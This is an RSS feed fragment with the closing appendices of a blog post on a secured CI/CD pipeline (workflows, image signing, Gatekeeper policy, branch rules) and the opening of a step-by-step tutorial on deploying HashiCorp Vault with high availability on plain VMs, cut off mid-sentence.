one platform engineer and one security engineer full time then half; a backend developer at half time for gates, tenancy tests and agent specs; compliance at a fifth. Without a security engineer, contract one for the twelve weeks and have the platform engineer shadow every step. Retained effort after week 12 is under one FTE in total.</p><h3>Cost, approximate</h3><ul><li>Compute for the Zone 1, 2 and 4 VMs on three hosts: 25,000 to 40,000 USD one-off, support around 10 percent yearly</li><li>12 TB SSD plus a backup array: 10,000 to 15,000 USD</li><li>A two-GPU server (48 GB or 80 GB class cards): 25,000 to 45,000 USD, plus power and support</li><li>GitHub Enterprise Server: per user, yearly; GHAS optional</li><li>SonarQube Developer or Enterprise: per lines of code</li><li>Everything else: open source; budget one engineer-week per month for upkeep</li><li>External pen test: 15,000 to 30,000 USD per quarter</li><li>Optional Lane A vendor model usage: cents per PR review; one to ten dollars per agent run</li></ul><p>On-prem GPU beats Lane A on cost only at high volume. The reason to buy it is the regulatory boundary.</p><h3>Risks</h3><ul><li>On-prem model reviews are too weak to block on: keep advisory, measure monthly, revisit Lane A with compliance using the precision data.</li><li>Gates too slow, developers bypass: fast gates first, parallelise, cache through Nexus, treat any run over twelve minutes as a platform bug.</li><li>A fail-closed scanner outage blocks releases: HA for Sonar and DefectDojo, plus a documented emergency change with sec-approver sign-off and a 24-hour expiry.</li><li>Compliance rejects GitHub Connect: mirror actions internally (4.1 step 8), add a day to Phase 1.</li><li>Team capacity: stop at the end of any phase; each leaves a working, better state.</li></ul><h3>Appendix A: the shared PR workflow</h3><p>platform/.github/workflows/ci.yml, called by every service repository.</p><pre>name: ci<br>on:<br>  workflow_call:<br>    inputs:<br>      project: { type: string, required: true }<br>      dotnet: { type: string, default: &#39;8.0.x&#39; }<br>permissions:<br>  contents: read<br>  pull-requests: write<br>  statuses: write<br>  id-token: write            # OIDC to Vault<br>concurrency: { group: ci-${{ github.ref }}, cancel-in-progress: true }</pre><pre>jobs:<br>  fast-gates:                # gates 1,2,5,8,9<br>    runs-on: [self-hosted, linux, build]<br>    container: harbor.build.internal/tools/ci-dotnet:2026.09<br>    steps:<br>      - uses: actions/checkout@v4<br>        with: { fetch-depth: 0 }<br>      - run: gitleaks detect --source . --log-opts=&quot;origin/${{ github.base_ref }}..HEAD&quot; --redact --exit-code 1<br>      - run: dotnet format ${{ inputs.project }} --verify-no-changes<br>      - run: semgrep ci --config platform/semgrep --config p/csharp --config p/typescript --config p/owasp-top-ten --error<br>      - run: checkov -d deploy/ --framework kubernetes,helm,dockerfile --hard-fail-on HIGH<br>      - run: hadolint Dockerfile</pre><pre>  build-test-sast:           # gates 3,4,11<br>    needs: fast-gates<br>    runs-on: [self-hosted, linux, build]<br>    container: harbor.build.internal/tools/ci-dotnet:2026.09<br>    steps:<br>      - uses: actions/checkout@v4<br>        with: { fetch-depth: 0 }<br>      - uses: hashicorp/vault-action@v3<br>        with:<br>          url: <a href="https://vault.build.internal/">https://vault.build.internal</a><br>          method: jwt<br>          role: ci-${{ github.event.repository.name }}<br>          secrets: |<br>            kv/data/ci/sonar token | SONAR_TOKEN<br>      - run: dotnet sonarscanner begin /k:${{ github.event.repository.name }} /d:sonar.host.url=https://sonar.build.internal /d:sonar.token=$SONAR_TOKEN /d:sonar.pullrequest.key=${{ github.event.number }} /d:sonar.cs.opencover.reportsPaths=**/coverage.opencover.xml /d:sonar.qualitygate.wait=true<br>      - run: dotnet restore --locked-mode<br>      - run: dotnet build -c Release --no-restore<br>      - run: dotnet test -c Release --no-build --collect:&quot;XPlat Code Coverage&quot; -- DataCollectionRunSettings.DataCollectors.DataCollector.Configuration.Format=opencover<br>      - run: dotnet sonarscanner end /d:sonar.token=$SONAR_TOKEN<br>      - run: dotnet test -c Release --no-build --filter Category=Tenancy</pre><pre>  sca-licence:               # gates 6,7<br>    needs: fast-gates<br>    runs-on: [self-hosted, linux, build]<br>    container: harbor.build.internal/tools/ci-scan:2026.09<br>    steps:<br>      - uses: actions/checkout@v4<br>      - run: syft dir:. -o cyclonedx-json &gt; sbom.cdx.json<br>      - run: grype sbom:sbom.cdx.json --fail-on critical --only-fixed<br>      - run: trivy fs --scanners vuln,license --severity CRITICAL,HIGH --ignore-unfixed --exit-code 1 --license-full --ignorefile .trivyignore .<br>      - run: python3 platform/scripts/licence-policy.py sbom.cdx.json platform/licence-policy.yaml<br>      - run: python3 platform/scripts/evidence-put.py --type pipeline --name gate-sca --file sbom.cdx.json</pre><pre>  ai-review:                 # gate 10<br>    needs: fast-gates<br>    if: vars.AI_ENABLED == &#39;true&#39;<br>    runs-on: [self-hosted, linux, build]<br>    container: harbor.build.internal/tools/ci-scan:2026.09<br>    steps:<br>      - uses: actions/checkout@v4<br>        with: { fetch-depth: 0 }<br>      - uses: hashicorp/vault-action@v3<br>        with:<br>          url: <a href="https://vault.build.internal/">https://vault.build.internal</a><br>          method: jwt<br>          role: ci-${{ github.event.repository.name }}<br>          secrets: |<br>            kv/data/ci/reviewer token | REVIEWER_TOKEN<br>      - run: |<br>          git diff origin/${{ github.base_ref }}...HEAD -- . &#39;:(exclude)**/*.lock&#39; &#39;:(exclude)**/*Snapshot*.cs&#39; &gt; pr.diff<br>          curl -sS --fail <a href="https://reviewer.ai.internal/review">https://reviewer.ai.internal/review</a> \<br>            -H &quot;Authorization: Bearer $REVIEWER_TOKEN&quot; \<br>            -F repo=${{ github.repository }} -F pr=${{ github.event.number }} -F sha=${{ github.sha }} \<br>            -F mode=${{ vars.AI_REVIEW_MODE }} -F diff=@pr.diff</pre><pre>  defectdojo:<br>    needs: [build-test-sast, sca-licence]<br>    if: always()<br>    runs-on: [self-hosted, linux, build]<br>    steps:<br>      - run: python3 platform/scripts/dojo-import.py --product ${{ github.event.repository.name }} --engagement pr-${{ github.event.number }}</pre><p>Why each piece is there: fetch-depth: 0 because gitleaks scans a commit range and a shallow clone has none. --redact so a leaked value does not appear in the log, which would be a second leak. container: so the toolchain is pinned by digest and the host runner only orchestrates. --only-fixed and --ignore-unfixed so unfixable findings go to DefectDojo with an SLA instead of teaching people to write ignore files. if: vars.AI_ENABLED is the kill switch. if: always() on the DefectDojo import so failed scans are still recorded.</p><h3>Appendix B: build, sign and attest on main</h3><pre>jobs:<br>  build-sign:<br>    runs-on: [self-hosted, linux, build]<br>    permissions: { contents: read, id-token: write, packages: write }<br>    steps:<br>      - uses: actions/checkout@v4<br>      - uses: hashicorp/vault-action@v3<br>        with:<br>          url: https://vault.build.internal<br>          method: jwt<br>          role: build-${{ github.event.repository.name }}<br>          secrets: |<br>            harbor/creds/build-push username | HARBOR_USER ;<br>            harbor/creds/build-push password | HARBOR_PASS<br>      - run: echo &quot;$HARBOR_PASS&quot; | docker login harbor.build.internal -u &quot;$HARBOR_USER&quot; --password-stdin<br>      - run: docker buildx build --provenance=false --sbom=false -t harbor.build.internal/build/${{ github.event.repository.name }}:${{ github.sha }} --push .<br>      - id: digest<br>        run: echo &quot;d=$(crane digest harbor.build.internal/build/${{ github.event.repository.name }}:${{ github.sha }})&quot; &gt;&gt; $GITHUB_OUTPUT<br>      - run: trivy image --exit-code 1 --severity CRITICAL --ignore-unfixed harbor.build.internal/build/${{ github.event.repository.name }}@${{ steps.digest.outputs.d }}<br>      - run: syft harbor.build.internal/build/${{ github.event.repository.name }}@${{ steps.digest.outputs.d }} -o cyclonedx-json &gt; sbom.cdx.json<br>      - run: python3 platform/scripts/provenance.py --sha ${{ github.sha }} --runner-image $RUNNER_IMAGE_VERSION --workflow $GITHUB_WORKFLOW_REF &gt; provenance.json<br>      - env: { VAULT_ADDR: https://vault.build.internal }<br>        run: |<br>          IMG=harbor.build.internal/build/${{ github.event.repository.name }}@${{ steps.digest.outputs.d }}<br>          cosign sign --key hashivault://ci-signer-${{ github.event.repository.name }} --yes $IMG<br>          cosign attest --key hashivault://ci-signer-${{ github.event.repository.name }} --type cyclonedx --predicate sbom.cdx.json --yes $IMG<br>          cosign attest --key hashivault://ci-signer-${{ github.event.repository.name }} --type slsaprovenance --predicate provenance.json --yes $IMG<br>      - run: python3 platform/scripts/evidence-put.py --type releases --digest ${{ steps.digest.outputs.d }} --files sbom.cdx.json provenance.json<br>      - run: python3 platform/scripts/bump-staging.py --service ${{ github.event.repository.name }} --digest ${{ steps.digest.outputs.d }}</pre><p>--provenance=false --sbom=false on buildx because I generate both myself, deterministically, rather than trusting BuildKit&#39;s format. crane digest resolves the tag to the digest once, and everything after uses the digest. hashivault:// makes cosign ask Vault to sign; the key never leaves Vault. The last step opens the PR that bumps staging.</p><h3>Appendix C: OPA Gatekeeper image verification for production</h3><p>Gatekeeper does not verify signatures itself. It calls an external data provider, and Ratify is the one built for this: it verifies cosign signatures and attestations against the registry and returns a verdict Gatekeeper can use in Rego. Three objects are needed: the Ratify provider and verifier configuration, a ConstraintTemplate with the Rego, and a Constraint that scopes it.</p><p>Ratify verifier configuration (one CRD each for signature, SBOM and provenance):</p><pre>apiVersion: config.ratify.deislabs.io/v1beta1<br>kind: Verifier<br>metadata: { name: verifier-cosign }<br>spec:<br>  name: cosign<br>  artifactTypes: application/vnd.dev.cosign.artifact.sig.v1+json<br>  parameters:<br>    trustPolicies:<br>      - name: release<br>        scopes: [&quot;harbor.prd.internal/release/*&quot;]<br>        keys:<br>          - provider: release-signing-pubkey     # KeyManagementProvider pointing at the Vault-issued public key<br>---<br>apiVersion: config.ratify.deislabs.io/v1beta1<br>kind: Verifier<br>metadata: { name: verifier-sbom }<br>spec:<br>  name: sbom<br>  artifactTypes: application/vnd.cyclonedx+json<br>  parameters:<br>    disallowedLicenses: [&quot;GPL-3.0&quot;, &quot;AGPL-3.0&quot;]</pre><p>The ConstraintTemplate:</p><pre>apiVersion: templates.gatekeeper.sh/v1<br>kind: ConstraintTemplate<br>metadata: { name: k8ssignedimage }<br>spec:<br>  crd:<br>    spec:<br>      names: { kind: K8sSignedImage }<br>      validation:<br>        openAPIV3Schema:<br>          type: object<br>          properties:<br>            registry: { type: string }<br>            builderId: { type: string }<br>  targets:<br>    - target: admission.k8s.gatekeeper.sh<br>      rego: |<br>        package k8ssignedimage</pre><pre>        import future.keywords.in</pre><pre>        images := {img | img := input.review.object.spec.containers[_].image}</pre><pre>        # Ask Ratify to verify every image in the pod<br>        remote := external_data({&quot;provider&quot;: &quot;ratify-provider&quot;, &quot;keys&quot;: images})</pre><pre>        violation[{&quot;msg&quot;: msg}] {<br>          some img in images<br>          not startswith(img, input.parameters.registry)<br>          msg := sprintf(&quot;image %v is not from %v&quot;, [img, input.parameters.registry])<br>        }</pre><pre>        violation[{&quot;msg&quot;: msg}] {<br>          some r in remote.responses<br>          not r[1].isSuccess<br>          msg := sprintf(&quot;image %v failed verification: %v&quot;, [r[0], r[1].verifierReports])<br>        }</pre><pre>        violation[{&quot;msg&quot;: msg}] {<br>          some r in remote.responses<br>          some rep in r[1].verifierReports<br>          rep.name == &quot;provenance&quot;<br>          rep.extensions.builderId != input.parameters.builderId<br>          msg := sprintf(&quot;image %v was not built by the trusted workflow (%v)&quot;, [r[0], rep.extensions.builderId])<br>        }</pre><p>The Constraint that scopes it to application namespaces:</p><pre>apiVersion: constraints.gatekeeper.sh/v1beta1<br>kind: K8sSignedImage<br>metadata: { name: release-images-only }<br>spec:<br>  enforcementAction: deny<br>  match:<br>    kinds: [ { apiGroups: [&quot;&quot;], kinds: [&quot;Pod&quot;] } ]<br>    namespaceSelector:<br>      matchExpressions:<br>        - { key: tier, operator: In, values: [&quot;app&quot;] }<br>  parameters:<br>    registry: &quot;harbor.prd.internal/release/&quot;<br>    builderId: &quot;https://github.build.internal/org/platform/.github/workflows/release-build.yml&quot;</pre><p>Reading it: the first rule rejects any image outside the release registry before Ratify is even asked. The second rejects an image whose signature or attestation verification failed, and puts Ratify’s per-verifier report in the denial message so the developer sees which check failed. The third rejects a correctly signed image unless the provenance says the trusted workflow built it, which is what defeats a stolen signing key. Because external_data is a network call, set Gatekeeper&#39;s webhook timeout to 30 seconds and run Ratify with at least two replicas; if Ratify is down, Gatekeeper fails closed, which is rule 4.</p><p>One practical note: keep every Rego file in the deploy repository with an _test.rego beside it, and run opa test and gator test in the deploy CI. Untested Rego is how you lock yourself out of your own cluster on a Friday.</p><h3>Appendix D: GHES ruleset for main</h3><pre>{<br>  &quot;name&quot;: &quot;main-regulated&quot;,<br>  &quot;target&quot;: &quot;branch&quot;,<br>  &quot;enforcement&quot;: &quot;active&quot;,<br>  &quot;conditions&quot;: { &quot;ref_name&quot;: { &quot;include&quot;: [&quot;refs/heads/main&quot;, &quot;refs/heads/release/*&quot;], &quot;exclude&quot;: [] } },<br>  &quot;rules&quot;: [<br>    { &quot;type&quot;: &quot;pull_request&quot;, &quot;parameters&quot;: { &quot;required_approving_review_count&quot;: 1, &quot;dismiss_stale_reviews_on_push&quot;: true, &quot;require_code_owner_review&quot;: true, &quot;require_last_push_approval&quot;: true, &quot;required_review_thread_resolution&quot;: true } },<br>    { &quot;type&quot;: &quot;required_status_checks&quot;, &quot;parameters&quot;: { &quot;strict_required_status_checks_policy&quot;: true, &quot;required_status_checks&quot;: [ { &quot;context&quot;: &quot;fast-gates&quot; }, { &quot;context&quot;: &quot;build-test-sast&quot; }, { &quot;context&quot;: &quot;sca-licence&quot; }, { &quot;context&quot;: &quot;ai-review&quot; } ] } },<br>    { &quot;type&quot;: &quot;required_signatures&quot; },<br>    { &quot;type&quot;: &quot;required_linear_history&quot; },<br>    { &quot;type&quot;: &quot;non_fast_forward&quot; },<br>    { &quot;type&quot;: &quot;deletion&quot; }<br>  ],<br>  &quot;bypass_actors&quot;: [ { &quot;actor_type&quot;: &quot;Team&quot;, &quot;actor_id&quot;: &quot;&lt;platform-admin team id&gt;&quot;, &quot;bypass_mode&quot;: &quot;always&quot; } ]<br>}</pre><p>require_last_push_approval stops a developer from getting an approval and then pushing one more commit. dismiss_stale_reviews_on_push does the same from the other side. strict_required_status_checks_policy requires the branch to be up to date with main before merge, so the gates ran against what will actually merge.</p><h3>Appendix E: CODEOWNERS</h3><pre>*                         @org/reviewers<br>/src/**/Security/**       @org/sec-approvers<br>/src/**/Auth/**           @org/sec-approvers<br>/src/**/Tenancy/**        @org/sec-approvers<br>**/*.sql                  @org/sec-approvers<br>**/Migrations/**          @org/sec-approvers<br>/.github/**               @org/sec-approvers @org/platform-admins<br>/deploy/**                @org/platform-admins<br>/platform/ai/**           @org/sec-approvers</pre><h3>Appendix F: go-live checklist</h3><ul><li>The seven rules signed by CTO and compliance</li><li>All phase exit criteria met and stored in evidence</li><li>Runbooks written: runner pool outage, Vault sealed, Harbor down, Argo out of sync, model server down, break-glass, emergency change</li><li>On-call rota covers the platform</li><li>First external pen test of the pipeline itself scheduled</li><li>Developer onboarding guide published: pre-commit, signing keys, how gates fail, how to read AI review comments</li><li>Old CI/CD path frozen and read-only</li><li>First quarterly AI governance review date set</li></ul><h3>Appendix G: glossary</h3><ul><li>SAST, DAST, SCA: static, dynamic and software-composition analysis.</li><li>SBOM: software bill of materials; a CycloneDX or SPDX list of every component in an artifact.</li><li>Provenance, SLSA: a signed statement of how an artifact was built, by which system, from which source.</li><li>GitOps: cluster state defined in git; the cluster pulls and reconciles.</li><li>Ephemeral runner: a CI machine that runs one job and is destroyed.</li><li>WORM: write once, read many; storage that cannot be altered or deleted for a retention period.</li><li>Maker-checker: the two-person rule; whoever initiates cannot approve.</li><li>Lane A, Lane B: a vendor-hosted model versus a model on your own hardware.</li></ul><p>If you build this, the order matters more than the tools. Foundation, then identity for the pipeline, then signing, then gates, then AI, then GitOps, then evidence. Each phase leaves a working, better state, and you can stop at any of them and still have something an auditor will respect.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c620a5480f15" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Running HashiCorp Vault Highly Available on Plain VMs]]></title>
            <link>https://medium.com/@kmoussa/running-hashicorp-vault-highly-available-on-plain-vms-379bf5652ee7?source=rss-5266ae0c4640------2</link>
            <guid isPermaLink="false">https://medium.com/p/379bf5652ee7</guid>
            <category><![CDATA[hashicorp-vault]]></category>
            <category><![CDATA[virtual-machine]]></category>
            <category><![CDATA[vault]]></category>
            <category><![CDATA[kubernetes]]></category>
            <dc:creator><![CDATA[Karim Moussa]]></dc:creator>
            <pubDate>Fri, 25 Sep 2026 15:19:37 GMT</pubDate>
            <atom:updated>2026-09-25T15:19:37.268Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*psqOBdHFafvkbDrif_MFqQ.png" /></figure><p>The first Vault I ran in production was one VM. It held every database password, every API key, and the TLS keys for two clusters. It ran happily for eleven months, and then a hypervisor host went down for maintenance at two in the morning, the VM came back up, and Vault came back up sealed. That is what Vault does after any restart: it forgets its master key and waits for humans to bring the unseal key shares. Three of the five people holding shares were asleep. The two who were awake were not enough. Nothing that needed a secret could start until the third person’s phone finally rang.</p><p>Nothing was lost. Everything was late. And the thing I remember most was that the outage had nothing to do with Vault being unreliable; Vault behaved exactly as designed. It was the deployment around it that had a single node, a manual unseal, and no plan for the ordinary event of a machine rebooting.</p><p>This post is the deployment I run now: three Vault nodes on plain Ubuntu VMs, Raft integrated storage so there is no separate database to keep alive, a load balancer that routes to whichever node is active, automatic unsealing so a reboot is a non-event, and snapshots that I have actually restored. No Kubernetes required. Vault on VMs is the right shape for the on-premises and air-gapped environments where I most often need it, and it is what the previous post about developer access assumed was running.</p><p>I have written this as the sequence I follow when building one, with the decision behind each step, because Vault has enough configuration surface that copying a config file without understanding it produces something that works until it matters.</p><h3>The shape of it</h3><p>Three VMs, vault-1, vault-2, vault-3, on separate hypervisor hosts or separate availability zones. Two vCPU and 4 GB each is plenty; Vault is not heavy. 50 GB of disk on a filesystem that is not shared with anything else, because Raft writes to local disk and its latency is Vault&#39;s latency.</p><p>Raft integrated storage means each node keeps a full copy of the data and the three nodes elect a leader among themselves. Writes go to the leader, are replicated to a majority, and are then acknowledged. With three nodes, one can be down and the cluster keeps working; with five, two can. I run three unless the environment has five failure domains, because more nodes means slower writes and more to patch.</p><p>In front of them, a load balancer with a single address, vault.example.internal, that every client uses. HAProxy or an F5 or a cloud load balancer all work. Its job is to send traffic to the active node, or to any unsealed node if you prefer, and I will explain the choice.</p><p>Two ports on every node. 8200 is the API and UI, which clients and the load balancer talk to. 8201 is cluster traffic: Raft replication and request forwarding between nodes. Nodes must reach each other on both. Clients only need 8200.</p><h3>Step 1: the machines</h3><p>On each VM:</p><pre>sudo apt-get update<br>sudo apt-get install -y gpg curl jq</pre><pre>curl -fsSL <a href="https://apt.releases.hashicorp.com/gpg">https://apt.releases.hashicorp.com/gpg</a> | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg<br>echo &quot;deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] \<br>  <a href="https://apt.releases.hashicorp.com/">https://apt.releases.hashicorp.com</a> $(lsb_release -cs) main&quot; | \<br>  sudo tee /etc/apt/sources.list.d/hashicorp.list &gt; /dev/null<br>sudo apt-get update<br>sudo apt-get install -y vault</pre><p>The package does more than drop a binary. It creates a vault system user and group with no login shell, a config directory at /etc/vault.d, a data directory at /opt/vault/data owned by that user, and a systemd unit that runs Vault as that user with the capability it needs to lock memory. Pin the version in your automation; do not let three nodes drift onto different releases.</p><p>Two kernel-level details. First, mlock. Vault locks its memory so secrets are never written to swap. The packaged unit already grants CAP_IPC_LOCK for this. With Raft storage, HashiCorp&#39;s guidance is to set disable_mlock = true in the config anyway and instead disable swap on the machine, because Raft&#39;s memory-mapped database and mlock interact badly. So:</p><pre>sudo swapoff -a<br>sudo sed -i &#39;/ swap / s/^/#/&#39; /etc/fstab</pre><p>Second, time. Raft elections and TLS validation both depend on the nodes agreeing what time it is. Make sure chrony or systemd-timesyncd is running and pointed at the same source on all three.</p><p>For an air-gapped environment, mirror the apt repository or copy the .deb in, and everything else in this post works the same.</p><h3>Step 2: certificates</h3><p>Vault must run TLS. Not “should”; every client will be sending it the secrets it manages, and Vault refuses several operations over plain HTTP. Each node needs a certificate that is valid for every name a client or another node might use to reach it.</p><p>Issue one certificate per node from your internal CA with these Subject Alternative Names:</p><ul><li>vault.example.internal, the load balancer name, because the load balancer passes TLS through to the node and the client validates against the name it typed</li><li>vault-1.example.internal, the node&#39;s own name, because nodes address each other directly for Raft</li><li>IP:10.0.0.11, the node&#39;s IP, because retry_join and cluster_addr below use IPs and Go&#39;s TLS validation will check them</li><li>127.0.0.1, so that vault CLI commands run locally on the node work without extra flags</li></ul><p>Then on each node:</p><pre>sudo mkdir -p /etc/vault.d/tls<br>sudo cp vault-1.crt /etc/vault.d/tls/vault.crt<br>sudo cp vault-1.key /etc/vault.d/tls/vault.key<br>sudo cp ca.crt      /etc/vault.d/tls/ca.crt<br>sudo chown -R vault:vault /etc/vault.d/tls<br>sudo chmod 600 /etc/vault.d/tls/vault.key</pre><p>The key must be readable by the vault user and nobody else, and Vault will refuse to start if it is world-readable. The CA certificate is used twice: by the listener, so Vault can verify clients if you enable client certificates, and by retry_join, so a node can verify the leader it is joining. Put the CA into the OS trust store as well (/usr/local/share/ca-certificates/ then update-ca-certificates), because the CLI, the load balancer&#39;s health checks, and your own curl all use it.</p><p>Set a reminder for renewal. A Vault node whose certificate expires stops being reachable, and the other two nodes stop being able to replicate to it. It does not announce itself.</p><h3>Step 3: the configuration file</h3><p>This is /etc/vault.d/vault.hcl on vault-1. The other two differ only in node_id, api_addr, and cluster_addr.</p><pre>ui            = true<br>disable_mlock = true<br>log_level     = &quot;info&quot;</pre><pre>api_addr     = &quot;https://10.0.0.11:8200&quot;<br>cluster_addr = &quot;https://10.0.0.11:8201&quot;</pre><pre>listener &quot;tcp&quot; {<br>  address            = &quot;0.0.0.0:8200&quot;<br>  cluster_address    = &quot;0.0.0.0:8201&quot;<br>  tls_cert_file      = &quot;/etc/vault.d/tls/vault.crt&quot;<br>  tls_key_file       = &quot;/etc/vault.d/tls/vault.key&quot;<br>  tls_min_version    = &quot;tls12&quot;<br>}</pre><pre>storage &quot;raft&quot; {<br>  path    = &quot;/opt/vault/data&quot;<br>  node_id = &quot;vault-1&quot;</pre><pre>  retry_join {<br>    leader_api_addr         = &quot;https://10.0.0.11:8200&quot;<br>    leader_ca_cert_file     = &quot;/etc/vault.d/tls/ca.crt&quot;<br>  }<br>  retry_join {<br>    leader_api_addr         = &quot;https://10.0.0.12:8200&quot;<br>    leader_ca_cert_file     = &quot;/etc/vault.d/tls/ca.crt&quot;<br>  }<br>  retry_join {<br>    leader_api_addr         = &quot;https://10.0.0.13:8200&quot;<br>    leader_ca_cert_file     = &quot;/etc/vault.d/tls/ca.crt&quot;<br>  }<br>}</pre><pre>seal &quot;azurekeyvault&quot; {<br>  tenant_id  = &quot;00000000-1111-2222-3333-444444444444&quot;<br>  vault_name = &quot;kv-vault-unseal&quot;<br>  key_name   = &quot;vault-unseal-key&quot;<br>}</pre><pre>telemetry {<br>  prometheus_retention_time = &quot;30s&quot;<br>  disable_hostname          = true<br>}</pre><p>Block by block.</p><p>api_addr is the address this node advertises to the others for request forwarding. When a client talks to a standby node, the standby forwards the request to the active node over the cluster port, and to do that it needs to know where the active node&#39;s API is. It must be an address the other nodes can reach, not 0.0.0.0 and not the load balancer. cluster_addr is the same idea for Raft traffic on 8201. Both use the node&#39;s own IP, which is why that IP is in the certificate SAN.</p><p>The listener binds both ports on all interfaces and points at the certificate. tls_min_version = &quot;tls12&quot; refuses older protocols. If you want clients to present certificates too, add tls_client_ca_file and tls_require_and_verify_client_cert = true, but that complicates the load balancer health check and I do not usually need it inside a private network.</p><p>storage &quot;raft&quot; is where high availability actually lives. path is the local data directory. node_id must be unique across the cluster and stable across restarts; a node that comes back with a different id is a new member, not the old one. The retry_join blocks list every node, including the node itself, and the node will try each in turn until one accepts it. Including itself is harmless and means the same three blocks can go on all three machines. leader_ca_cert_file is how the joining node verifies it is talking to a real cluster member and not something on the network answering on 8200. If you leave it out, the join fails with a TLS error, and the error message does not say &quot;you forgot the CA&quot;.</p><p>seal &quot;azurekeyvault&quot; is the fix for the story at the top. Vault encrypts its data with a master key, and normally that master key is split into shares with Shamir&#39;s algorithm and handed to people. Auto-unseal instead stores the master key encrypted by a key that lives in an external KMS, here Azure Key Vault, and on startup Vault asks the KMS to decrypt it. The node needs an identity the KMS trusts: on an Azure VM that is a managed identity with the Key Vault Crypto User role on that key, which is why there is no client secret in the block. AWS KMS, GCP KMS, and an HSM via PKCS#11 are configured the same way with their own block. For a genuinely air-gapped site with no KMS reachable, the option is a seal &quot;transit&quot; block pointing at a second, small Vault that exists only to unseal the first one, and that one is unsealed with Shamir shares. Something has to be the root of trust. The point is that a restart of the main cluster should not need a human.</p><p>With auto-unseal, the Shamir shares do not disappear. They become recovery keys, used only for operations like generating a new root token or migrating seals. Keep them exactly as carefully as you would have kept unseal keys; you will need them less often, and that is precisely when people lose them.</p><p>telemetry exposes Prometheus metrics on /v1/sys/metrics?format=prometheus. Wire this in from day one; the metrics that tell you a Raft peer has fallen behind or that the seal is unhealthy are worth more than any log line.</p><p>Start the service on all three nodes:</p><pre>sudo systemctl enable --now vault<br>sudo systemctl status vault</pre><p>All three will come up and report themselves as not initialized. That is correct. Nothing is broken; the cluster does not exist yet.</p><h3>Step 4: initialising and forming the cluster</h3><p>Initialisation happens once, on one node, and creates the master key, the recovery keys, and the first root token. On vault-1:</p><pre>export VAULT_ADDR=https://127.0.0.1:8200<br>vault operator init -recovery-shares=5 -recovery-threshold=3 -format=json &gt; /root/vault-init.json</pre><p>-recovery-shares and -recovery-threshold replace the older -key-shares and -key-threshold when auto-unseal is in use; five people hold a share, any three can act. The output goes to a file rather than the terminal because it contains the root token and all five shares. Move the shares to their holders through whatever your organisation uses for that, delete the file, and then revoke the root token once you have set up another way in; the root token is for initial setup and emergencies, not daily use.</p><p>With auto-unseal, vault-1 unseals itself immediately after init. Check:</p><pre>vault status</pre><p>You want Initialized true, Sealed false, HA Mode active, and a Raft Committed Index that is a small positive number. Now watch the other two join. They have been retrying the retry_join addresses since they started, and once vault-1 is initialised and unsealed they will succeed within a few seconds without you doing anything. Confirm from vault-1:</p><pre>vault login &quot;$(jq -r .root_token /root/vault-init.json)&quot;<br>vault operator raft list-peers</pre><p>You should see three nodes, one marked leader and two follower, all with Voter true. If a node is missing, its own log (journalctl -u vault -f) will say why, and it is almost always the TLS CA or a firewall between the nodes on 8201.</p><p>The first join is the only time the order matters. From now on any node can restart in any order; it will rejoin the existing cluster via whichever peer answers.</p><h3>Step 5: the load balancer and the health check</h3><p>Clients should use one address. Vault provides a health endpoint designed for load balancers, and the interesting part is that it returns different HTTP status codes for different states, so the load balancer can route on them without parsing a body:</p><ul><li>200: initialised, unsealed, and the active node</li><li>429: unsealed and a standby</li><li>472: a disaster recovery secondary</li><li>473: a performance standby (Enterprise)</li><li>501: not initialised</li><li>503: sealed</li></ul><p>That gives you a choice. If the check is GET /v1/sys/health, only the active node returns 200 and the load balancer sends everything there; standbys are marked down and take over automatically when the active node&#39;s check starts failing. If the check is GET /v1/sys/health?standbyok=true, standbys also return 200, and the load balancer spreads clients across all three; the standbys forward writes to the active node internally. Either is correct. I use standbyok=true because it means the load balancer sees three healthy backends in normal operation, which is easier to alert on, and because read-heavy clients benefit from hitting a standby directly.</p><p>HAProxy configuration for the second option:</p><pre>frontend vault_in<br>    bind *:8200<br>    mode tcp<br>    default_backend vault_nodes</pre><pre>backend vault_nodes<br>    mode tcp<br>    balance roundrobin<br>    option httpchk GET /v1/sys/health?standbyok=true<br>    http-check expect status 200<br>    server vault-1 10.0.0.11:8200 check check-ssl verify required ca-file /etc/ssl/certs/ca-certificates.crt inter 3s fall 2 rise 2<br>    server vault-2 10.0.0.12:8200 check check-ssl verify required ca-file /etc/ssl/certs/ca-certificates.crt inter 3s fall 2 rise 2<br>    server vault-3 10.0.0.13:8200 check check-ssl verify required ca-file /etc/ssl/certs/ca-certificates.crt inter 3s fall 2 rise 2</pre><p>mode tcp is important: HAProxy passes the TLS connection through to the node untouched, so the client&#39;s certificate validation happens against the node&#39;s certificate, which is why the load balancer name is in every node&#39;s SAN list. The health check is a separate HTTPS request from HAProxy to each node, check-ssl verify required with the CA file makes it validate that certificate too, and inter 3s fall 2 marks a node down after two failed checks six seconds apart, which is fast enough that a failover is a brief blip rather than an outage. Run two HAProxy instances with keepalived, or use whatever your platform already provides for a redundant load balancer; a single HAProxy would just move the single point of failure from Vault to the load balancer.</p><p>From a client machine, the moment of truth:</p><pre>export VAULT_ADDR=https://vault.example.internal:8200<br>vault status</pre><p>Then stop Vault on the leader (sudo systemctl stop vault on whichever node list-peers marked as leader) and run vault status again. Within a few seconds a new leader is elected, the load balancer has marked the stopped node down, and the command succeeds. Start the node back up and watch it rejoin as a follower. Do this before you put anything in it. A failover you have never seen is not one you can trust.</p><h3>Step 6: what to configure before the first secret</h3><p><strong>Audit logging.</strong> Vault will not record who read what until you enable an audit device, and you want it enabled before anyone reads anything:</p><pre>vault audit enable file file_path=/var/log/vault/audit.log</pre><p>Create the directory owned by vault first. Every request and response is logged, with secret values hashed so the log itself is not a secret store. Ship it somewhere off the node; the audit log is also the first thing an attacker with a shell on the box would want to edit. If the audit device becomes unwritable, for instance because the disk fills, Vault stops serving requests rather than serve them unaudited, so monitor that disk.</p><p><strong>Authentication for humans.</strong> The root token should not be how anyone logs in. Enable the OIDC method against your directory, as shown in the previous post, and map an admin group to an admin policy. An admin policy is not root; it is broad but explicit, so that even administrators cannot, for example, read the audit log through Vault or disable the seal without a deliberate step.</p><p><strong>Authentication for machines.</strong> The Kubernetes method for pods, also covered in the previous post. For VMs and CI agents, AppRole gives a role id and a secret id per application, which fits well into a pipeline that injects the 